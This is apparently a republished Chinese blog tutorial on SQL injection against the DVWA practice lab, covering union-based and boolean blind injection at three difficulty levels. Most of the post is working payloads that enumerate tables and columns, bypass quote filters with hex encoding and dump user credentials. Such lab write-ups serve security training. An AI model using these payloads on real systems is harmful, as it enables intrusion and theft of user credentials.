DVWA靶场中SQL注入

这篇具有很好参考价值的文章主要介绍了DVWA靶场中SQL注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.DVWA靶场中SQL注入

1.1.SQL Injection

1.1.1.Low级别

  1)判断注入类型当输入1和1 and 1=2的时候均能够正常返回数值,证明不是数字型输入。那么这里基本上就能够判断是字符型注入。
DVWA靶场中SQL注入

  2)判断字符型注入。输入1’ and 1=2 #的时候出现报错,证明存在字符型注入,并且单引号闭合。

1and 1=2 #

DVWA靶场中SQL注入

  3)判断有多少列当输入1’ order by 3#的时候出现报错,那么证明存在两列。

1' order by 3#

DVWA靶场中SQL注入

  4)联合查询判断可显示的注入点,当输入-1’ union select 1,2# 就能够显示1和2在的位置。

-1union select 1,2#

DVWA靶场中SQL注入

  5)查看当前数据库名。输入-1’ union select database(),2#能在原来1的位置显示数据库名。当前的数据库名:dvwa。

-1union select database(),2#

DVWA靶场中SQL注入

  6)获取数据库表。当输入-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=“dvwa”#的时候在2号位显示出两张表为:guestbook,users。

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa"#

DVWA靶场中SQL注入

  7)获取数据库的列。但输入-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#的时候在2号位显示出很多的列,我们就看其中的user和password。

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

DVWA靶场中SQL注入

  8)查询列下的账号密码。当输入-1’ union select group_concat(user),group_concat(password) from users #的时候就能够显示出所有的账号和密码。当然这里的密码是加密的,若需要查看真实的还需要去进行界面。

-1' union select group_concat(user),group_concat(password) from users #

DVWA靶场中SQL注入

1.1.2.Medium级别

  1)从页面以及url看到都无法进行输入,那么就需要使用抓包软件进行测试了。
DVWA靶场中SQL注入

  2)从抓包获取到的数据能够看到在最下面有id,那么思考是不是可以从这里进行注入测试。
DVWA靶场中SQL注入

  3)把包发入重放器进行测试。
DVWA靶场中SQL注入

  4)判断注入类型,在重放器中修改id为1 and 1=2#的时候页面不正常,那么可以判断页面为数字型注入。

1 and 1=2#

DVWA靶场中SQL注入

  5)判断数据库列,当输入1 order by 3#的时候页面就不正常,那么证明存在两列。

1 order by 3#

DVWA靶场中SQL注入

  6)判断注入点,当输入-1 union select 1,2#的时候显示1和2的显示位。

-1 union select 1,2#

DVWA靶场中SQL注入

  7)判断数据库名输入:-1 union select database(),2#

-1 union select database(),2#

DVWA靶场中SQL注入

  8)判断数据库表。这里需要注意的是引号被过滤了。这里后面就不要输入dvwa直接输入database()。

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

DVWA靶场中SQL注入

  9)获取数据库的列,这里依旧的过滤了引号,那么就使用十六进制绕过。users的十六进制是0x7573657273

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

DVWA靶场中SQL注入

  10)获取数据库的账号密码。

-1' union select group_concat(user),group_concat(password) from users #

DVWA靶场中SQL注入

1.1.3.High级别

  1)调整为高级别后发现,需要点击才能够进行输入,这样防御了自动化输入,但是可以手动进行测试。
DVWA靶场中SQL注入

  2)输入1 and 1=2#正常,但是当输入1’ and 1=2#不正常,那么证明可以判断为字符型注入。

1 and 1=2#   正常
1' and 1=2#   不正常

DVWA靶场中SQL注入

  3)输入1’ order by 3#的时候出现了报错。

1' order by 3#

DVWA靶场中SQL注入

  4)当输入-1’ union select 1,2#的时候就能够显示出1号位和2号位。后续的整体操作和low级别的操作是一致的。

-1' union select 1,2#

DVWA靶场中SQL注入

1.2.SQL Injection(Blind)

1.2.1.方式

  这里都是使用布尔盲注进行测试,也可以使用延迟注入进行测试,报错注入经过测试好像不行。

1.2.2.Low级别

  1)通过对页面进行测试发现并不会显示出数据,只会告诉你数据库中是否存在该数据。
DVWA靶场中SQL注入

  2)那么首先还是测试是什么类型的注入。
使用1 and 1=2#能够正常返回,但是使用1’ and 1=2#就会出现报错,那么就可以判断为字符型注入。

1 and 1=2#正常
1' and 1=2#不正常

DVWA靶场中SQL注入

  3)没有显示,那么这里就需要使用盲注进行测试了,这里使用布尔盲注,首先测试一下数据库名

1' and length(database())>10#  MISSING 
1' and length(database())>5#  MISSING 
1' and length(database())>3#  exists 
1' and length(database())=4#  exists

DVWA靶场中SQL注入

  4)判断数据库名,这里我的知道数据库名是dvwa,那么这里就随便测试一下,做个案例。

1' and ascii(substr(database(),1,1))=99# MISSING 
1' and ascii(substr(database(),1,1))=100# exists

  测试完数据库的首位字母为d,当然100是ascll码中等于d。那么其他的第二位、第三位、第四位也使用这个方式进行测试。

1' and ascii(substr(database(),2,1))=118# 第二位为v
1' and ascii(substr(database(),3,1))=119# 第三位为w
1' and ascii(substr(database(),4,1))=97# 第四位为a

DVWA靶场中SQL注入

  5)猜测表的个数量,那么这样可以看出下面是有两个表的。

1and (select count(table_name) from information_schema.tables where table_schema=database())=2

DVWA靶场中SQL注入

  6)猜测表的长度,采用的方式还是和猜测数据库名称一样,进行判断。

1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#

DVWA靶场中SQL注入

  7)猜测表名,猜测第一张表第一个字母。

1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#

  第一个表的名字是guestbook
DVWA靶场中SQL注入

  8)猜测表名第二个表第二个字母

1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=117#

  第二个表名是users
DVWA靶场中SQL注入

  9)猜测字段数量

1and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8#

DVWA靶场中SQL注入

  10)猜测字段长度

1and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7#

  11)判断users中第一行第一个字母

1' and ascii(substr((select user from users limit 0,1),1,1))=97#

DVWA靶场中SQL注入

  12)判断password中第二行第四个字母

1' and ascii(substr((select password from users limit 1,1),4,1))=97#

DVWA靶场中SQL注入

1.2.3.Medium级别

  1)其实这关和SQLlnjection中的medium差不多都是需要进行抓包进行获取id然后修改数据包进行获取。
DVWA靶场中SQL注入

  2)这里就演示前几步,而注入点和注入类型就不进行测试了。这里直接测试数据库名长度。

1 and length(database())=4#

DVWA靶场中SQL注入

  3)测试数据库第一位字母

1' and ascii(substr(database(),1,1))=100#

DVWA靶场中SQL注入

  4)在测试字段长度的时候需要使用单引号,而在这关中对单引号进行了过滤,那么这里可以使用十六进制进行绕过。

原始:1 and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7#
进制:1 and length(substr((select column_name from information_schema.columns where table_name= 0x7573657273 limit 0,1),1))=7#

DVWA靶场中SQL注入

  5)后续的测试方式和low级别一样。

1.2.4.High级别

  1)盲注high和SQL lnjection中的high是一样的,都是需要点击才能够进行输入,这样防御了自动化输入,但是可以手动进行测试。
  2)整体的测试和low级别也是一样的,不需要抓包,可以直接在弹出的窗口中直接测试。
DVWA靶场中SQL注入文章来源地址https://www.toymoban.com/news/detail-438308.html

到了这里,关于DVWA靶场中SQL注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA------SQL Injection (Blind)(SQL盲注)

    一、SQL 盲注 1.简介 2.分类 3.盲注测试思路 二、SQL Injection (Blind) 1.LOW 1.1代码审计 1.2漏洞利用 2.medium 3.high 4.Impossible         SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法

    2024年02月16日
    浏览(38)
  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(49)
  • DVWA之SQL注入漏洞

    1、先确定正常和不正常的回显 回显,就是显示正在执行的批处理命令及执行的结果等。 输入1时,有回显,是正常的 数据库语句: select * from table where id =1 输入5时,有回显,是正常的 数据库语句: select * from table where id =5 输入6时,没有回显 数据库语句: select * from table

    2024年02月08日
    浏览(40)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(54)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(43)
  • DVWA平台搭建+SQL注入实验详解

    实现1: 实现DVWA平台的搭建,为后续的SQL注入提供练习环境; 实现2: 进行SQL注入的练习,目的是了解因web应用程序对用户输入数据的合法性没有判断或过滤不严,而造成的危害,以便后续更好地掌握对其的防御手段,提高网络安全意识; 1、下载phpstudy安装包 (注意:如果

    2024年02月05日
    浏览(51)
  • 【SQL代理中转注入】对DVWA登录界面username字段实施注入

      以DVWA为攻击目标,将login.php中第21、22行注释掉 如此可知,首先需要通过token验证,然后能进行查询。 1.token验证通过。 这里token用到的函数是dvwaPage.inc.php中调用的 通过查看函数被调用的部分和逻辑,可知该检测是如此检测或者说避免CSRF攻击的: ①访问login.php,页面生成

    2024年04月25日
    浏览(33)
  • Burpsuite靶场——SQL注入

    在本篇文章中,咱们将解释什么是 SQL 注入,描述一些常见的例子,解释如何发现和利用各种 SQL 注入漏洞,并总结如何防止 SQL 注入。 废话不多说,开始正篇。 SQL注入漏洞(SQL injection)是web层面最高危的漏洞之一。曾在2008-2010连续三年期间位列OWASP年度十大漏洞排行榜第一

    2024年02月07日
    浏览(45)
  • 【SQL注入漏洞-06】HTTP头部注入靶场实战

    常见的sql注入一般是 通过请求参数或者表单进行注入 ,HTTP头部注入是 通过HTTP协议头部字段值进行注入 。 产生HTTP头部注入的条件: 能够对请求头消息进行修改 修改的请求头信息能够带入数据库进行查询 数据库没有对输入的请求信息做过滤 User-Agent :是Http协议中的一部分

    2024年02月02日
    浏览(58)
  • 五分钟制作sql注入靶场

    接触安全也快两个月了,学了很多安全的知识,也接触到了渗透测试,前面学习了sql注入和XSS漏洞,听郭老师说可以尝试自己搭建一个靶场,所以开始制作自己靶场! 目录 一、数据库 文件db-creds.inc 接下来创建数据库 连接数据库 二、前端 三、php 四、第二个页面 五、效果展

    2024年02月15日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包